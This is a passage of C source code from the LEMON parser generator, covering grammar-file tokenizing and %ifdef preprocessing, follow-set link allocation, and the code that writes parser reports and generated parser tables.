if( !isalpha(x[0]) ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Symbol name missing after %destructor keyword");
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}else{
struct symbol *sp = Symbol_new(x);
psp->declargslot = &sp->datatype;
psp->decllnslot = 0;
psp->state = WAITING_FOR_DECL_ARG;
}
break;
case WAITING_FOR_PRECEDENCE_SYMBOL:
if( x[0]=='.' ){
psp->state = WAITING_FOR_DECL_OR_RULE;
}else if( isupper(x[0]) ){
struct symbol *sp;
sp = Symbol_new(x);
if( sp->prec>=0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Symbol \"%s\" has already be given a precedence.",x);
psp->errorcnt++;
}else{
sp->prec = psp->preccounter;
sp->assoc = psp->declassoc;
}
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Can't assign a precedence to \"%s\".",x);
psp->errorcnt++;
}
break;
case WAITING_FOR_DECL_ARG:
if( (x[0]=='{' || x[0]=='\"' || isalnum(x[0])) ){
if( *(psp->declargslot)!=0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"The argument \"%s\" to declaration \"%%%s\" is not the first.",
x[0]=='\"' ? &x[1] : x,psp->declkeyword);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}else{
*(psp->declargslot) = (x[0]=='\"' || x[0]=='{') ? &x[1] : x;
if( psp->decllnslot ) *psp->decllnslot = psp->tokenlineno;
psp->state = WAITING_FOR_DECL_OR_RULE;
}
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Illegal argument to %%%s: %s",psp->declkeyword,x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}
break;
case WAITING_FOR_FALLBACK_ID:
if( x[0]=='.' ){
psp->state = WAITING_FOR_DECL_OR_RULE;
}else if( !isupper(x[0]) ){
ErrorMsg(psp->filename, psp->tokenlineno,
"%%fallback argument \"%s\" should be a token", x);
psp->errorcnt++;
}else{
struct symbol *sp = Symbol_new(x);
if( psp->fallback==0 ){
psp->fallback = sp;
}else if( sp->fallback ){
ErrorMsg(psp->filename, psp->tokenlineno,
"More than one fallback assigned to token %s", x);
psp->errorcnt++;
}else{
sp->fallback = psp->fallback;
psp->gp->has_fallback = 1;
}
}
break;
case RESYNC_AFTER_RULE_ERROR:
/* if( x[0]=='.' ) psp->state = WAITING_FOR_DECL_OR_RULE;
** break; */
case RESYNC_AFTER_DECL_ERROR:
if( x[0]=='.' ) psp->state = WAITING_FOR_DECL_OR_RULE;
if( x[0]=='%' ) psp->state = WAITING_FOR_DECL_KEYWORD;
break;
}
}
/* Run the proprocessor over the input file text. The global variables
** azDefine[0] through azDefine[nDefine-1] contains the names of all defined
** macros. This routine looks for "%ifdef" and "%ifndef" and "%endif" and
** comments them out. Text in between is also commented out as appropriate.
*/
static preprocess_input(char *z){
int i, j, k, n;
int exclude = 0;
int start;
int lineno = 1;
int start_lineno;
for(i=0; z[i]; i++){
if( z[i]=='\n' ) lineno++;
if( z[i]!='%' || (i>0 && z[i-1]!='\n') ) continue;
if( strncmp(&z[i],"%endif",6)==0 && isspace(z[i+6]) ){
if( exclude ){
exclude--;
if( exclude==0 ){
for(j=start; j<i; j++) if( z[j]!='\n' ) z[j] = ' ';
}
}
for(j=i; z[j] && z[j]!='\n'; j++) z[j] = ' ';
}else if( (strncmp(&z[i],"%ifdef",6)==0 && isspace(z[i+6]))
|| (strncmp(&z[i],"%ifndef",7)==0 && isspace(z[i+7])) ){
if( exclude ){
exclude++;
}else{
for(j=i+7; isspace(z[j]); j++){}
for(n=0; z[j+n] && !isspace(z[j+n]); n++){}
exclude = 1;
for(k=0; k<nDefine; k++){
if( strncmp(azDefine[k],&z[j],n)==0 && strlen(azDefine[k])==n ){
exclude = 0;
break;
}
}
if( z[i+3]=='n' ) exclude = !exclude;
if( exclude ){
start = i;
start_lineno = lineno;
}
}
for(j=i; z[j] && z[j]!='\n'; j++) z[j] = ' ';
}
}
if( exclude ){
fprintf(stderr,"unterminated %%ifdef starting on line %d\n", start_lineno);
exit(1);
}
}
/* In spite of its name, this function is really a scanner. It read
** in the entire input file (all at once) then tokenizes it. Each
** token is passed to the function "parseonetoken" which builds all
** the appropriate data structures in the global state vector "gp".
*/
void Parse(gp)
struct lemon *gp;
{
struct pstate ps;
FILE *fp;
char *filebuf;
int filesize;
int lineno;
int c;
char *cp, *nextcp;
int startline = 0;
ps.gp = gp;
ps.filename = gp->filename;
ps.errorcnt = 0;
ps.state = INITIALIZE;
/* Begin by reading the input file */
fp = fopen(ps.filename,"rb");
if( fp==0 ){
ErrorMsg(ps.filename,0,"Can't open this file for reading.");
gp->errorcnt++;
return;
}
fseek(fp,0,2);
filesize = ftell(fp);
rewind(fp);
filebuf = (char *)malloc( filesize+1 );
if( filebuf==0 ){
ErrorMsg(ps.filename,0,"Can't allocate %d of memory to hold this file.",
filesize+1);
gp->errorcnt++;
return;
}
if( fread(filebuf,1,filesize,fp)!=filesize ){
ErrorMsg(ps.filename,0,"Can't read in all %d bytes of this file.",
filesize);
free(filebuf);
gp->errorcnt++;
return;
}
fclose(fp);
filebuf[filesize] = 0;
/* Make an initial pass through the file to handle %ifdef and %ifndef */
preprocess_input(filebuf);
/* Now scan the text of the input file */
lineno = 1;
for(cp=filebuf; (c= *cp)!=0; ){
if( c=='\n' ) lineno++; /* Keep track of the line number */
if( isspace(c) ){ cp++; continue; } /* Skip all white space */
if( c=='/' && cp[1]=='/' ){ /* Skip C++ style comments */
cp+=2;
while( (c= *cp)!=0 && c!='\n' ) cp++;
continue;
}
if( c=='/' && cp[1]=='*' ){ /* Skip C style comments */
cp+=2;
while( (c= *cp)!=0 && (c!='/' || cp[-1]!='*') ){
if( c=='\n' ) lineno++;
cp++;
}
if( c ) cp++;
continue;
}
ps.tokenstart = cp; /* Mark the beginning of the token */
ps.tokenlineno = lineno; /* Linenumber on which token begins */
if( c=='\"' ){ /* String literals */
cp++;
while( (c= *cp)!=0 && c!='\"' ){
if( c=='\n' ) lineno++;
cp++;
}
if( c==0 ){
ErrorMsg(ps.filename,startline,
"String starting on this line is not terminated before the end of the file.");
ps.errorcnt++;
nextcp = cp;
}else{
nextcp = cp+1;
}
}else if( c=='{' ){ /* A block of C code */
int level;
cp++;
for(level=1; (c= *cp)!=0 && (level>1 || c!='}'); cp++){
if( c=='\n' ) lineno++;
else if( c=='{' ) level++;
else if( c=='}' ) level--;
else if( c=='/' && cp[1]=='*' ){ /* Skip comments */
int prevc;
cp = &cp[2];
prevc = 0;
while( (c= *cp)!=0 && (c!='/' || prevc!='*') ){
if( c=='\n' ) lineno++;
prevc = c;
cp++;
}
}else if( c=='/' && cp[1]=='/' ){ /* Skip C++ style comments too */
cp = &cp[2];
while( (c= *cp)!=0 && c!='\n' ) cp++;
if( c ) lineno++;
}else if( c=='\'' || c=='\"' ){ /* String a character literals */
int startchar, prevc;
startchar = c;
prevc = 0;
for(cp++; (c= *cp)!=0 && (c!=startchar || prevc=='\\'); cp++){
if( c=='\n' ) lineno++;
if( prevc=='\\' ) prevc = 0;
else prevc = c;
}
}
}
if( c==0 ){
ErrorMsg(ps.filename,ps.tokenlineno,
"C code starting on this line is not terminated before the end of the file.");
ps.errorcnt++;
nextcp = cp;
}else{
nextcp = cp+1;
}
}else if( isalnum(c) ){ /* Identifiers */
while( (c= *cp)!=0 && (isalnum(c) || c=='_') ) cp++;
nextcp = cp;
}else if( c==':' && cp[1]==':' && cp[2]=='=' ){ /* The operator "::=" */
cp += 3;
nextcp = cp;
}else{ /* All other (one character) operators */
cp++;
nextcp = cp;
}
c = *cp;
*cp = 0; /* Null terminate the token */
parseonetoken(&ps); /* Parse the token */
*cp = c; /* Restore the buffer */
cp = nextcp;
}
free(filebuf); /* Release the buffer after parsing */
gp->rule = ps.firstrule;
gp->errorcnt = ps.errorcnt;
}
/*************************** From the file "plink.c" *********************/
/*
** Routines processing configuration follow-set propagation links
** in the LEMON parser generator.
*/
static struct plink *plink_freelist = 0;
/* Allocate a new plink */
struct plink *Plink_new(){
struct plink *new;
if( plink_freelist==0 ){
int i;
int amt = 100;
plink_freelist = (struct plink *)malloc( sizeof(struct plink)*amt );
if( plink_freelist==0 ){
fprintf(stderr,
"Unable to allocate memory for a new follow-set propagation link.\n");
exit(1);
}
for(i=0; i<amt-1; i++) plink_freelist[i].next = &plink_freelist[i+1];
plink_freelist[amt-1].next = 0;
}
new = plink_freelist;
plink_freelist = plink_freelist->next;
return new;
}
/* Add a plink to a plink list */
void Plink_add(plpp,cfp)
struct plink **plpp;
struct config *cfp;
{
struct plink *new;
new = Plink_new();
new->next = *plpp;
*plpp = new;
new->cfp = cfp;
}
/* Transfer every plink on the list "from" to the list "to" */
void Plink_copy(to,from)
struct plink **to;
struct plink *from;
{
struct plink *nextpl;
while( from ){
nextpl = from->next;
from->next = *to;
*to = from;
from = nextpl;
}
}
/* Delete every plink on the list */
void Plink_delete(plp)
struct plink *plp;
{
struct plink *nextpl;
while( plp ){
nextpl = plp->next;
plp->next = plink_freelist;
plink_freelist = plp;
plp = nextpl;
}
}
/*********************** From the file "report.c" **************************/
/*
** Procedures for generating reports and tables in the LEMON parser generator.
*/
/* Generate a filename with the given suffix. Space to hold the
** name comes from malloc() and must be freed by the calling
** function.
*/
PRIVATE char *file_makename(lemp,suffix)
struct lemon *lemp;
char *suffix;
{
char *name;
char *cp;
name = malloc( strlen(lemp->filename) + strlen(suffix) + 5 );
if( name==0 ){
fprintf(stderr,"Can't allocate space for a filename.\n");
exit(1);
}
strcpy(name,lemp->filename);
cp = strrchr(name,'.');
if( cp ) *cp = 0;
strcat(name,suffix);
return name;
}
/* Open a file with a name based on the name of the input file,
** but with a different (specified) suffix, and return a pointer
** to the stream */
PRIVATE FILE *file_open(lemp,suffix,mode)
struct lemon *lemp;
char *suffix;
char *mode;
{
FILE *fp;
if( lemp->outname ) free(lemp->outname);
lemp->outname = file_makename(lemp, suffix);
fp = fopen(lemp->outname,mode);
if( fp==0 && *mode=='w' ){
fprintf(stderr,"Can't open file \"%s\".\n",lemp->outname);
lemp->errorcnt++;
return 0;
}
return fp;
}
/* Duplicate the input file without comments and without actions
** on rules */
void Reprint(lemp)
struct lemon *lemp;
{
struct rule *rp;
struct symbol *sp;
int i, j, maxlen, len, ncolumns, skip;
printf("// Reprint of input file \"%s\".\n// Symbols:\n",lemp->filename);
maxlen = 10;
for(i=0; i<lemp->nsymbol; i++){
sp = lemp->symbols[i];
len = strlen(sp->name);
if( len>maxlen ) maxlen = len;
}
ncolumns = 76/(maxlen+5);
if( ncolumns<1 ) ncolumns = 1;
skip = (lemp->nsymbol + ncolumns - 1)/ncolumns;
for(i=0; i<skip; i++){
printf("//");
for(j=i; j<lemp->nsymbol; j+=skip){
sp = lemp->symbols[j];
assert( sp->index==j );
printf(" %3d %-*.*s",j,maxlen,maxlen,sp->name);
}
printf("\n");
}
for(rp=lemp->rule; rp; rp=rp->next){
printf("%s",rp->lhs->name);
/* if( rp->lhsalias ) printf("(%s)",rp->lhsalias); */
printf(" ::=");
for(i=0; i<rp->nrhs; i++){
printf(" %s",rp->rhs[i]->name);
/* if( rp->rhsalias[i] ) printf("(%s)",rp->rhsalias[i]); */
}
printf(".");
if( rp->precsym ) printf(" [%s]",rp->precsym->name);
/* if( rp->code ) printf("\n %s",rp->code); */
printf("\n");
}
}
void ConfigPrint(fp,cfp)
FILE *fp;
struct config *cfp;
{
struct rule *rp;
int i;
rp = cfp->rp;
fprintf(fp,"%s ::=",rp->lhs->name);
for(i=0; i<=rp->nrhs; i++){
if( i==cfp->dot ) fprintf(fp," *");
if( i==rp->nrhs ) break;
fprintf(fp," %s",rp->rhs[i]->name);
}
}
/* #define TEST */
#ifdef TEST
/* Print a set */
PRIVATE void SetPrint(out,set,lemp)
FILE *out;
char *set;
struct lemon *lemp;
{
int i;
char *spacer;
spacer = "";
fprintf(out,"%12s[","");
for(i=0; i<lemp->nterminal; i++){
if( SetFind(set,i) ){
fprintf(out,"%s%s",spacer,lemp->symbols[i]->name);
spacer = " ";
}
}
fprintf(out,"]\n");
}
/* Print a plink chain */
PRIVATE void PlinkPrint(out,plp,tag)
FILE *out;
struct plink *plp;
char *tag;
{
while( plp ){
fprintf(out,"%12s%s (state %2d) ","",tag,plp->cfp->stp->index);
ConfigPrint(out,plp->cfp);
fprintf(out,"\n");
plp = plp->next;
}
}
#endif
/* Print an action to the given file descriptor. Return FALSE if
** nothing was actually printed.
*/
int PrintAction(struct action *ap, FILE *fp, int indent){
int result = 1;
switch( ap->type ){
case SHIFT:
fprintf(fp,"%*s shift %d",indent,ap->sp->name,ap->x.stp->index);
break;
case REDUCE:
fprintf(fp,"%*s reduce %d",indent,ap->sp->name,ap->x.rp->index);
break;
case ACCEPT:
fprintf(fp,"%*s accept",indent,ap->sp->name);
break;
case ERROR:
fprintf(fp,"%*s error",indent,ap->sp->name);
break;
case CONFLICT:
fprintf(fp,"%*s reduce %-3d ** Parsing conflict **",
indent,ap->sp->name,ap->x.rp->index);
break;
case SH_RESOLVED:
case RD_RESOLVED:
case NOT_USED:
result = 0;
break;
}
return result;
}
/* Generate the "y.output" log file */
void ReportOutput(lemp)
struct lemon *lemp;
{
int i;
struct state *stp;
struct config *cfp;
struct action *ap;
FILE *fp;
fp = file_open(lemp,".out","w");
if( fp==0 ) return;
fprintf(fp," \b");
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
fprintf(fp,"State %d:\n",stp->index);
if( lemp->basisflag ) cfp=stp->bp;
else cfp=stp->cfp;
while( cfp ){
char buf[20];
if( cfp->dot==cfp->rp->nrhs ){
sprintf(buf,"(%d)",cfp->rp->index);
fprintf(fp," %5s ",buf);
}else{
fprintf(fp," ");
}
ConfigPrint(fp,cfp);
fprintf(fp,"\n");
#ifdef TEST
SetPrint(fp,cfp->fws,lemp);
PlinkPrint(fp,cfp->fplp,"To ");
PlinkPrint(fp,cfp->bplp,"From");
#endif
if( lemp->basisflag ) cfp=cfp->bp;
else cfp=cfp->next;
}
fprintf(fp,"\n");
for(ap=stp->ap; ap; ap=ap->next){
if( PrintAction(ap,fp,30) ) fprintf(fp,"\n");
}
fprintf(fp,"\n");
}
fclose(fp);
return;
}
/* Search for the file "name" which is in the same directory as
** the exacutable */
PRIVATE char *pathsearch(argv0,name,modemask)
char *argv0;
char *name;
int modemask;
{
char *pathlist;
char *path,*cp;
char c;
extern int access();
#ifdef __WIN32__
cp = strrchr(argv0,'\\');
#else
cp = strrchr(argv0,'/');
#endif
if( cp ){
c = *cp;
*cp = 0;
path = (char *)malloc( strlen(argv0) + strlen(name) + 2 );
if( path ) sprintf(path,"%s/%s",argv0,name);
*cp = c;
}else{
extern char *getenv();
pathlist = getenv("PATH");
if( pathlist==0 ) pathlist = ".:/bin:/usr/bin";
path = (char *)malloc( strlen(pathlist)+strlen(name)+2 );
if( path!=0 ){
while( *pathlist ){
cp = strchr(pathlist,':');
if( cp==0 ) cp = &pathlist[strlen(pathlist)];
c = *cp;
*cp = 0;
sprintf(path,"%s/%s",pathlist,name);
*cp = c;
if( c==0 ) pathlist = "";
else pathlist = &cp[1];
if( access(path,modemask)==0 ) break;
}
}
}
return path;
}
/* Given an action, compute the integer value for that action
** which is to be put in the action table of the generated machine.
** Return negative if no action should be generated.
*/
PRIVATE int compute_action(lemp,ap)
struct lemon *lemp;
struct action *ap;
{
int act;
switch( ap->type ){
case SHIFT: act = ap->x.stp->index; break;
case REDUCE: act = ap->x.rp->index + lemp->nstate; break;
case ERROR: act = lemp->nstate + lemp->nrule; break;
case ACCEPT: act = lemp->nstate + lemp->nrule + 1; break;
default: act = -1; break;
}
return act;
}
#define LINESIZE 1000
/* The next cluster of routines are for reading the template file
** and writing the results to the generated parser */
/* The first function transfers data from "in" to "out" until
** a line is seen which begins with "%%". The line number is
** tracked.
**
** if name!=0, then any word that begin with "Parse" is changed to
** begin with *name instead.
*/
PRIVATE void tplt_xfer(name,in,out,lineno)
char *name;
FILE *in;
FILE *out;
int *lineno;
{
int i, iStart;
char line[LINESIZE];
while( fgets(line,LINESIZE,in) && (line[0]!='%' || line[1]!='%') ){
(*lineno)++;
iStart = 0;
if( name ){
for(i=0; line[i]; i++){
if( line[i]=='P' && strncmp(&line[i],"Parse",5)==0
&& (i==0 || !isalpha(line[i-1]))
){
if( i>iStart ) fprintf(out,"%.*s",i-iStart,&line[iStart]);
fprintf(out,"%s",name);
i += 4;
iStart = i+1;
}
}
}
fprintf(out,"%s",&line[iStart]);
}
}
/* The next function finds the template file and opens it, returning
** a pointer to the opened file. */
PRIVATE FILE *tplt_open(lemp)
struct lemon *lemp;
{
static char templatename[] = "lempar.c";
char buf[1000];
FILE *in;
char *tpltname;
char *cp;
cp = strrchr(lemp->filename,'.');
if( cp ){
sprintf(buf,"%.*s.lt",(int)(cp-lemp->filename),lemp->filename);
}else{
sprintf(buf,"%s.lt",lemp->filename);
}
if( access(buf,004)==0 ){
tpltname = buf;
}else if( access(templatename,004)==0 ){
tpltname = templatename;
}else{
tpltname = pathsearch(lemp->argv0,templatename,0);
}
if( tpltname==0 ){
fprintf(stderr,"Can't find the parser driver template file \"%s\".\n",
templatename);
lemp->errorcnt++;
return 0;
}
in = fopen(tpltname,"r");
if( in==0 ){
fprintf(stderr,"Can't open the template file \"%s\".\n",templatename);
lemp->errorcnt++;
return 0;
}
return in;
}
/* Print a string to the file and keep the linenumber up to date */
PRIVATE void tplt_print(out,lemp,str,strln,lineno)
FILE *out;
struct lemon *lemp;
char *str;
int strln;
int *lineno;
{
if( str==0 ) return;
fprintf(out,"#line %d \"%s\"\n",strln,lemp->filename); (*lineno)++;
while( *str ){
if( *str=='\n' ) (*lineno)++;
putc(*str,out);
str++;
}
fprintf(out,"\n#line %d \"%s\"\n",*lineno+2,lemp->outname); (*lineno)+=2;
return;
}
/*
** The following routine emits code for the destructor for the
** symbol sp
*/
void emit_destructor_code(out,sp,lemp,lineno)
FILE *out;
struct symbol *sp;
struct lemon *lemp;
int *lineno;
{
char *cp = 0;
int linecnt = 0;
if( sp->type==TERMINAL ){
cp = lemp->tokendest;
if( cp==0 ) return;
fprintf(out,"#line %d \"%s\"\n{",lemp->tokendestln,lemp->filename);
}else if( sp->destructor ){
cp = sp->destructor;
fprintf(out,"#line %d \"%s\"\n{",sp->destructorln,lemp->filename);
}else if( lemp->vardest ){
cp = lemp->vardest;
if( cp==0 ) return;
fprintf(out,"#line %d \"%s\"\n{",lemp->vardestln,lemp->filename);
}else{
assert( 0 ); /* Cannot happen */
}
for(; *cp; cp++){
if( *cp=='$' && cp[1]=='$' ){
fprintf(out,"(yypminor->yy%d)",sp->dtnum);
cp++;
continue;
}
if( *cp=='\n' ) linecnt++;
fputc(*cp,out);
}
(*lineno) += 3 + linecnt;
fprintf(out,"}\n#line %d \"%s\"\n",*lineno,lemp->outname);
return;
}
/*
** Return TRUE (non-zero) if the given symbol has a destructor.
*/
int has_destructor(sp, lemp)
struct symbol *sp;
struct lemon *lemp;
{
int ret;
if( sp->type==TERMINAL ){
ret = lemp->tokendest!=0;
}else{
ret = lemp->vardest!=0 || sp->destructor!=0;
}
return ret;
}
/*
** Append text to a dynamically allocated string. If zText is 0 then
** reset the string to be empty again. Always return the complete text
** of the string (which is overwritten with each call).
**
** n bytes of zText are stored. If n==0 then all of zText up to the first
** \000 terminator is stored. zText can contain up to two instances of
** %d. The values of p1 and p2 are written into the first and second
** %d.
**
** If n==-1, then the previous character is overwritten.
*/
PRIVATE char *append_str(char *zText, int n, int p1, int p2){
static char *z = 0;
static int alloced = 0;
static int used = 0;
int i, c;
char zInt[40];
if( zText==0 ){
used = 0;
return z;
}
if( n<=0 ){
if( n<0 ){
used += n;
assert( used>=0 );
}
n = strlen(zText);
}
if( n+sizeof(zInt)*2+used >= alloced ){
alloced = n + sizeof(zInt)*2 + used + 200;
z = realloc(z, alloced);
}
if( z==0 ) return "";
while( n-- > 0 ){
c = *(zText++);
if( c=='%' && zText[0]=='d' ){
sprintf(zInt, "%d", p1);
p1 = p2;
strcpy(&z[used], zInt);
used += strlen(&z[used]);
zText++;
n--;
}else{
z[used++] = c;
}
}
z[used] = 0;
return z;
}
/*
** zCode is a string that is the action associated with a rule. Expand
** the symbols in this string so that the refer to elements of the parser
** stack. Return a new string stored in space obtained from malloc.
*/
PRIVATE char *translate_code(struct lemon *lemp, struct rule *rp){
char *cp, *xp;
int i;
char lhsused = 0; /* True if the LHS element has been used */
char used[MAXRHS]; /* True for each RHS element which is used */
for(i=0; i<rp->nrhs; i++) used[i] = 0;
lhsused = 0;
append_str(0,0,0,0);
for(cp=rp->code; *cp; cp++){
if( isalpha(*cp) && (cp==rp->code || (!isalnum(cp[-1]) && cp[-1]!='_')) ){
char saved;
for(xp= &cp[1]; isalnum(*xp) || *xp=='_'; xp++);
saved = *xp;
*xp = 0;
if( rp->lhsalias && strcmp(cp,rp->lhsalias)==0 ){
append_str("yygotominor.yy%d",0,rp->lhs->dtnum,0);
cp = xp;
lhsused = 1;
}else{
for(i=0; i<rp->nrhs; i++){
if( rp->rhsalias[i] && strcmp(cp,rp->rhsalias[i])==0 ){
if( cp!=rp->code && cp[-1]=='@' ){
/* If the argument is of the form @X then substituted
** the token number of X, not the value of X */
append_str("yymsp[%d].major",-1,i-rp->nrhs+1,0);
}else{
append_str("yymsp[%d].minor.yy%d",0,
i-rp->nrhs+1,rp->rhs[i]->dtnum);
}
cp = xp;
used[i] = 1;
break;
}
}
}
*xp = saved;
}
append_str(cp, 1, 0, 0);
} /* End loop */
/* Check to make sure the LHS has been used */
if( rp->lhsalias && !lhsused ){
ErrorMsg(lemp->filename,rp->ruleline,
"Label \"%s\" for \"%s(%s)\" is never used.",
rp->lhsalias,rp->lhs->name,rp->lhsalias);
lemp->errorcnt++;
}
/* Generate destructor code for RHS symbols which are not used in the
** reduce code */
for(i=0; i<rp->nrhs; i++){
if( rp->rhsalias[i] && !used[i] ){
ErrorMsg(lemp->filename,rp->ruleline,
"Label %s for \"%s(%s)\" is never used.",
rp->rhsalias[i],rp->rhs[i]->name,rp->rhsalias[i]);
lemp->errorcnt++;
}else if( rp->rhsalias[i]==0 ){
if( has_destructor(rp->rhs[i],lemp) ){
append_str(" yy_destructor(%d,&yymsp[%d].minor);\n", 0,
rp->rhs[i]->index,i-rp->nrhs+1);
}else{
/* No destructor defined for this term */
}
}
}
cp = append_str(0,0,0,0);
rp->code = Strsafe(cp);
}
/*
** Generate code which executes when the rule "rp" is reduced. Write
** the code to "out". Make sure lineno stays up-to-date.
*/
PRIVATE void emit_code(out,rp,lemp,lineno)
FILE *out;
struct rule *rp;
struct lemon *lemp;
int *lineno;
{
char *cp;
int linecnt = 0;
/* Generate code to do the reduce action */
if( rp->code ){
fprintf(out,"#line %d \"%s\"\n{",rp->line,lemp->filename);
fprintf(out,"%s",rp->code);
for(cp=rp->code; *cp; cp++){
if( *cp=='\n' ) linecnt++;
} /* End loop */
(*lineno) += 3 + linecnt;
fprintf(out,"}\n#line %d \"%s\"\n",*lineno,lemp->outname);
} /* End if( rp->code ) */
return;
}
/*
** Print the definition of the union used for the parser's data stack.
** This union contains fields for every possible data type for tokens
** and nonterminals. In the process of computing and printing this
** union, also set the ".dtnum" field of every terminal and nonterminal
** symbol.
*/
void print_stack_union(out,lemp,plineno,mhflag)
FILE *out; /* The output stream */
struct lemon *lemp; /* The main info structure for this parser */
int *plineno; /* Pointer to the line number */
int mhflag; /* True if generating makeheaders output */
{
int lineno = *plineno; /* The line number of the output */
char **types; /* A hash table of datatypes */
int arraysize; /* Size of the "types" array */
int maxdtlength; /* Maximum length of any ".datatype" field. */
char *stddt; /* Standardized name for a datatype */
int i,j; /* Loop counters */
int hash; /* For hashing the name of a type */
char *name; /* Name of the parser */
/* Allocate and initialize types[] and allocate stddt[] */
arraysize = lemp->nsymbol * 2;
types = (char**)malloc( arraysize * sizeof(char*) );
for(i=0; i<arraysize; i++) types[i] = 0;
maxdtlength = 0;
if( lemp->vartype ){
maxdtlength = strlen(lemp->vartype);
}
for(i=0; i<lemp->nsymbol; i++){
int len;
struct symbol *sp = lemp->symbols[i];
if( sp->datatype==0 ) continue;
len = strlen(sp->datatype);
if( len>maxdtlength ) maxdtlength = len;
}
stddt = (char*)malloc( maxdtlength*2 + 1 );
if( types==0 || stddt==0 ){
fprintf(stderr,"Out of memory.\n");
exit(1);
}
/* Build a hash table of datatypes. The ".dtnum" field of each symbol
** is filled in with the hash index plus 1. A ".dtnum" value of 0 is
** used for terminal symbols. If there is no %default_type defined then
** 0 is also used as the .dtnum value for nonterminals which do not specify
** a datatype using the %type directive.
*/
for(i=0; i<lemp->nsymbol; i++){
struct symbol *sp = lemp->symbols[i];
char *cp;
if( sp==lemp->errsym ){
sp->dtnum = arraysize+1;
continue;
}
if( sp->type!=NONTERMINAL || (sp->datatype==0 && lemp->vartype==0) ){
sp->dtnum = 0;
continue;
}
cp = sp->datatype;
if( cp==0 ) cp = lemp->vartype;
j = 0;
while( isspace(*cp) ) cp++;
while( *cp ) stddt[j++] = *cp++;
while( j>0 && isspace(stddt[j-1]) ) j--;
stddt[j] = 0;
hash = 0;
for(j=0; stddt[j]; j++){
hash = hash*53 + stddt[j];
}
hash = (hash & 0x7fffffff)%arraysize;
while( types[hash] ){
if( strcmp(types[hash],stddt)==0 ){
sp->dtnum = hash + 1;
break;
}
hash++;
if( hash>=arraysize ) hash = 0;
}
if( types[hash]==0 ){
sp->dtnum = hash + 1;
types[hash] = (char*)malloc( strlen(stddt)+1 );
if( types[hash]==0 ){
fprintf(stderr,"Out of memory.\n");
exit(1);
}
strcpy(types[hash],stddt);
}
}
/* Print out the definition of YYTOKENTYPE and YYMINORTYPE */
name = lemp->name ? lemp->name : "Parse";
lineno = *plineno;
if( mhflag ){ fprintf(out,"#if INTERFACE\n"); lineno++; }
fprintf(out,"#define %sTOKENTYPE %s\n",name,
lemp->tokentype?lemp->tokentype:"void*"); lineno++;
if( mhflag ){ fprintf(out,"#endif\n"); lineno++; }
fprintf(out,"typedef union {\n"); lineno++;
fprintf(out," %sTOKENTYPE yy0;\n",name); lineno++;
for(i=0; i<arraysize; i++){
if( types[i]==0 ) continue;
fprintf(out," %s yy%d;\n",types[i],i+1); lineno++;
free(types[i]);
}
fprintf(out," int yy%d;\n",lemp->errsym->dtnum); lineno++;
free(stddt);
free(types);
fprintf(out,"} YYMINORTYPE;\n"); lineno++;
*plineno = lineno;
}
/*
** Return the name of a C datatype able to represent values between
** lwr and upr, inclusive.
*/
static const char *minimum_size_type(int lwr, int upr){
if( lwr>=0 ){
if( upr<=255 ){
return "unsigned char";
}else if( upr<65535 ){
return "unsigned short int";
}else{
return "unsigned int";
}
}else if( lwr>=-127 && upr<=127 ){
return "signed char";
}else if( lwr>=-32767 && upr<32767 ){
return "short";
}else{
return "int";
}
}
/*
** Each state contains a set of token transaction and a set of
** nonterminal transactions. Each of these sets makes an instance
** of the following structure. An array of these structures is used
** to order the creation of entries in the yy_action[] table.
*/
struct axset {
struct state *stp; /* A pointer to a state */
int isTkn; /* True to use tokens. False for non-terminals */
int nAction; /* Number of actions */
};
/*
** Compare to axset structures for sorting purposes
*/
static int axset_compare(const void *a, const void *b){
struct axset *p1 = (struct axset*)a;
struct axset *p2 = (struct axset*)b;
return p2->nAction - p1->nAction;
}
/* Generate C source code for the parser */
void ReportTable(lemp, mhflag)
struct lemon *lemp;
int mhflag; /* Output in makeheaders format if true */
{
FILE *out, *in;
char line[LINESIZE];
int lineno;
struct state *stp;
struct action *ap;
struct rule *rp;
struct acttab *pActtab;
int i, j, n;
char *name;
int mnTknOfst, mxTknOfst;
int mnNtOfst, mxNtOfst;
struct axset *ax;
in = tplt_open(lemp);
if( in==0 ) return;
out = file_open(lemp,".c","w");
if( out==0 ){
fclose(in);
return;
}
lineno = 1;
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the include code, if any */
tplt_print(out,lemp,lemp->include,lemp->includeln,&lineno);
if( mhflag ){
char *name = file_makename(lemp, ".h");
fprintf(out,"#include \"%s\"\n", name); lineno++;
free(name);
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate #defines for all tokens */
if( mhflag ){
char *prefix;
fprintf(out,"#if INTERFACE\n"); lineno++;
if( lemp->tokenprefix ) prefix = lemp->tokenprefix;
else prefix = "";
for(i=1; i<lemp->nterminal; i++){
fprintf(out,"#define %s%-30s %2d\n",prefix,lemp->symbols[i]->name,i);
lineno++;
}
fprintf(out,"#endif\n"); lineno++;
}
tplt_xfer(lemp->name,in,out,&lineno);
/* Generate the defines */
fprintf(out,"#define YYCODETYPE %s\n",
minimum_size_type(0, lemp->nsymbol+5)); lineno++;
fprintf(out,"#define YYNOCODE %d\n",lemp->nsymbol+1); lineno++;
fprintf(out,"#define YYACTIONTYPE %s\n",
minimum_size_type(0, lemp->nstate+lemp->nrule+5)); lineno++;
print_stack_union(out,lemp,&lineno,mhflag);
if( lemp->stacksize ){
if( atoi(lemp->stacksize)<=0 ){
ErrorMsg(lemp->filename,0,
"Illegal stack size: [%s]. The stack size should be an integer constant.",
lemp->stacksize);
lemp->errorcnt++;
lemp->stacksize = "100";
}
fprintf(out,"#define YYSTACKDEPTH %s\n",lemp->stacksize); lineno++;
}else{
fprintf(out,"#define YYSTACKDEPTH 100\n"); lineno++;
}
if( mhflag ){
fprintf(out,"#if INTERFACE\n"); lineno++;
}
name = lemp->name ? lemp->name : "Parse";
if( lemp->arg && lemp->arg[0] ){
int i;
i = strlen(lemp->arg);
while( i>=1 && isspace(lemp->arg[i-1]) ) i--;
while( i>=1 && (isalnum(lemp->arg[i-1]) || lemp->arg[i-1]=='_') ) i--;
